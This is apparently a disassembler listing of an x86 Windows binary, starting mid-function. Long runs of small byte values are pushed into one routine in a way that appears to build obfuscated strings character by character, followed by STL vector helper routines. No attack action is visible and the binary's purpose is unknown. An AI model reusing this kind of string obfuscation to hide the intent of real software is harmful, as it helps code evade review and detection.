[esp+38Ch], 33h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 mov byte ptr [esp+388h], 3Ah push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D834F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Eh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 mov byte ptr [esp+370h], 43h push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 mov byte ptr [esp+370h], 4Ch push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 50h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D834F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F30 push offset word_4E8E5A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E5A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493A4 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449280 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449312 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492C9 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44935B mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44947F mov ecx, offset word_44ACD6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC5E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1E8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: 